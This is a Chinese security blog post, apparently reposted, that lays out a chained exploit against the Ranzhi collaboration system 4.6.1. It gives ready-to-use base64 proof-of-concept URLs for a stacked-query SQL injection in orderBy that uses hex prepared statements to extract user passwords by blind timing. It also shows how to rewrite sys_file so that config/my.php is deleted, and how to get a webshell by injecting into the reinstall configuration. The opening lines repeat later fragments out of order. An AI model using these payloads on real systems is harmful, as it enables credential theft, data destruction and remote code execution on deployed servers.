然之协同系统漏洞利用汇总
2018-03-21 17:49
330 查看
Author:Vspiders
首发地址:https://xianzhi.aliyun.com/forum/topic/2135
但是这里如果跑数据库内容会出现一个问题,由于输入变量过滤掉了_字符,并且这个字符是数据库中表必有的。不过这里可以利用mysql的存储过程进行绕过。
存储过程的利用形式如下:
http://127.0.0.1/ranzhi/www/cash/block-printTradeBlock.html
此处会调用orderby函数。
此时会延时等待2秒,但是ranzhi数据库的表名中存在下划线,所以还不能直接利用该payload进行爆破。引入存储机制。
注意文件名设置为易于识别的字符。然后通过访问file-edit-ID查找该文件的ID。
ID为1,利用SQL注入漏洞修改sys_file表中ID为1的pathname为我们想要删除的文件。
SQL语句:
即可完成任意文件删除。同样也可存在任意文件下载漏洞file-download-ID
此时删除了my.php文件之后,该系统将会重新安装。
http://127.0.0.1/ranzhi/www/sys/install.php
如果知道对方数据库密码更好,如果不知道,可以使用远程Mysql服务器。保存之后便会触发。
首发地址:https://xianzhi.aliyun.com/forum/topic/2135
前言
前段时间在做然之协同系统代码审计,这里做个简单的总结。第一弹:SQL注入漏洞
0x01 注入漏洞分析
问题出现在/lib/base/dao/dao.class.php文件中的orderBy函数中,public function orderBy($order) { if($this->inCondition and !$this->conditionIsTrue) return $this; $order = str_replace(array('|', '', '_'), ' ', $order); /* Add "`" in order string. */ /* When order has limit string. */ $pos = stripos($order, 'limit'); $orders = $pos ? substr($order, 0, $pos) : $order; $limit = $pos ? substr($order, $pos) : '';//截limit $orders = trim($orders); ………… $order = join(',', $orders) . ' ' . $limit; //直接拼接 $this->sql .= ' ' . DAO::ORDERBY . " $order"; return $this; }简单分析一下orderBy函数,首先是把输入的$order变量过滤掉
|、
SOH、
_字符,然后查看输入变量中是否存在limit字符,如果存在的话,对其进行截断,字符limit前形成
$orders变量,limit字符后的内容变成
$limit变量,问题就出在这里,之后并没有对
$limit变量进行过滤,拼接到
$orders变量之后,然后直接带入查询,并且然之协同框架支持多语句查询,因此可以构造多语句进行基于时间的SQL盲注注入。
但是这里如果跑数据库内容会出现一个问题,由于输入变量过滤掉了_字符,并且这个字符是数据库中表必有的。不过这里可以利用mysql的存储过程进行绕过。
存储过程的利用形式如下:
set @query=0x…; (注入语句的ASCII值) prepare stmt from @query; execute stmt;
0x02 漏洞利用
这里以最新版ranzhi4.6.1为例http://127.0.0.1/ranzhi/www/cash/block-printTradeBlock.html
此处会调用orderby函数。
Step 1:
构造原始param :{"orderBy":"id limit 0,1;select if(1=2,1,sleep(2))#" }Base64加密:
eyJvcmRlckJ5IjoiaWQgbGltaXQgMCwxO3NlbGVjdCBpZigxPTIsMSxzbGVlcCgyKSkjIiB9POC为:
http:/ 4000 /127.0.0.1/ranzhi/www/cash/block-printTradeBlock.html?param=eyJvcmRlckJ5IjoiaWQgbGltaXQgMCwxO3NlbGVjdCBpZigxPTIsMSxzbGVlcCgyKSkjIiB9
此时会延时等待2秒,但是ranzhi数据库的表名中存在下划线,所以还不能直接利用该payload进行爆破。引入存储机制。
Step 2:
注入语句:select if(30<ord(substr(password,1,1)),sleep(2),1) from sys_user十六进制:
0x73656c6563742069662833303c6f7264287375627374722870617373776f72642c312c3129292c736c6565702832292c31292066726f6d207379735f75736572构造原始param :
{"orderBy":"id limit 0,1; set @query=0x73656c6563742069662833303c6f7264287375627374722870617373776f72642c312c3129292c736c6565702832292c31292066726f6d207379735f75736572;prepare stmt from @query;execute stmt;" }Base64加密后最终POC:
http://127.0.0.1/ranzhi/www/cash/block-printTradeBlock.html?param=eyJvcmRlckJ5IjoiaWQgbGltaXQgMCwxO3NldCBAcXVlcnk9MHg3MzY1NmM2NTYzNzQyMDY5NjYyODMzMzAzYzZmNzI2NDI4NzM3NTYyNzM3NDcyMjg3MDYxNzM3Mzc3NmY3MjY0MmMzMTJjMzEyOTI5MmM3MzZjNjU2NTcwMjgzMjI5MmMzMTI5MjA2NjcyNmY2ZDIwNzM3OTczNWY3NTczNjU3MjtwcmVwYXJlIHN0bXQgZnJvbSBAcXVlcnk7ZXhlY3V0ZSBzdG10OyIgfQ==
0x03 脚本演示
这里写个简单的脚本跑了一下,效果还不错,如下第二弹:后台任意文件删除
从注入漏洞中,不难发现可以进行多行SQL语句执行,因此能控制数据库表里的内容。0x01 漏洞分析
任意文件删除的触发点有很多,这里以一个简单的利用点为例:public function getByID($fileID) { $file = $this->dao->findById($fileID)->from(TABLE_FILE)->fetch(); $realPathName = $this->getRealPathName($file->pathname); $file->realPath = $this->savePath . $realPathName; $file->webPath = $this->webPath . $realPathName; return $this->processFile($file); } … public function delete($fileID, $null = null) { $file = $this->getByID($fileID); if(file_exists($file->realPath)) unlink($file->realPath); $this->dao->delete()->from(TABLE_FILE)->where('id')->eq($file->id)->exec(); return !dao::isError(); }逻辑很简单,根据fileID获取文件信息,然后判断存在该文件则删除。其中获取文件信息是从TABLE_FILE数据表中查询,即对应为sys_file表,因为我们可以通过SQL语句修改控制sys_file表,因此就可以控制任意文件删除。
0x02 漏洞利用
首先后台上传一个图片文件。注意文件名设置为易于识别的字符。然后通过访问file-edit-ID查找该文件的ID。
ID为1,利用SQL注入漏洞修改sys_file表中ID为1的pathname为我们想要删除的文件。
SQL语句:
update sys_file set pathname='../../../config/my.php' where id=1构造param:
{"orderBy":"id limit 0,1;set @query=0x757064617465207379735f66696c652073657420706174686e616d653d272e2e2f2e2e2f2e2e2f636f6e6669672f6d792e706870272077686572652069643d31;prepare stmt from @query;execute stmt;" }最终Payload:
http://127.0.0.1/ranzhi/www/cash/block-printTradeBlock.html?param=eyJvcmRlckJ5IjoiaWQgbGltaXQgMCwxO3NldCBAcXVlcnk9MHg3NTcwNjQ2MTc0NjUyMDczNzk3MzVmNjY2OTZjNjUyMDczNjU3NDIwNzA2MTc0Njg2ZTYxNmQ2NTNkMjcyZTJlMmYyZTJlMmYyZTJlMmY2MzZmNmU2NjY5NjcyZjZkNzkyZTcwNjg3MDI3MjA3NzY4NjU3MjY1MjA2OTY0M2QzMTtwcmVwYXJlIHN0bXQgZnJvbSBAcXVlcnk7ZXhlY3V0ZSBzdG10OyIgfQ==然后访问http://127.0.0.1/ranzhi/www/sys/file-delete-1
即可完成任意文件删除。同样也可存在任意文件下载漏洞file-download-ID
此时删除了my.php文件之后,该系统将会重新安装。
第三弹:安装时Getshell
不到shell不罢休。0x01 漏洞解析
当进入了安装环节,安装时并未进行过滤输入字符,所有的配置信息都会直接写入my.php文件中,利用该点可以直接向配置文件中写入一句话getshell。0x02 漏洞利用
进入安装配置界面:http://127.0.0.1/ranzhi/www/sys/install.php
如果知道对方数据库密码更好,如果不知道,可以使用远程Mysql服务器。保存之后便会触发。
相关文章推荐
- Rinbot 和 Froot 利用已知漏洞攻击系统
- 利用CouchDB未授权访问漏洞执行任意系统命令
- SQL通用防注入系统asp版 插一句话漏洞利用
- OSX/IOS系统漏洞学习资料汇总
- 新病毒仿"熊猫烧香" 利用 Vista系统漏洞疯狂传播
- PHP168 V6.02 整站系统远程执行任意代码漏洞利用
- Windows下利用系统漏洞提权
- 微擎系统BUG漏洞解决方法汇总(原创)
- 本地攻击者利用FreeBSD4.3设计漏洞取得系统特权
- 如何利用unicode漏洞和net dde漏洞夺取系统管理员权限
- 最新然之协同(包含专业版)及喧喧及时聊天系统远程命令执行漏洞详解
- Android中利用5.0系统屏幕录制UI漏洞骗取应用录制屏幕授权
- 某听书网站系统漏洞,利用抓包拼接方式获取网站资源
- 最新易想团购系统通杀SQL注入漏洞分析附利用exp
- 利用Ossim系统进行主机漏洞扫描
- 网络攻防实战:老Y文章管理系统V2.2注入漏洞分析与利用
- PollVote投票系统漏洞利用
- 防止利用系统漏洞轻轻松松绕过你的验证码的方法
- 利用OpenVAS快速打造漏洞评估系统 推荐
- WIN xp sp3 系统上Ms08_067_netapi漏洞利用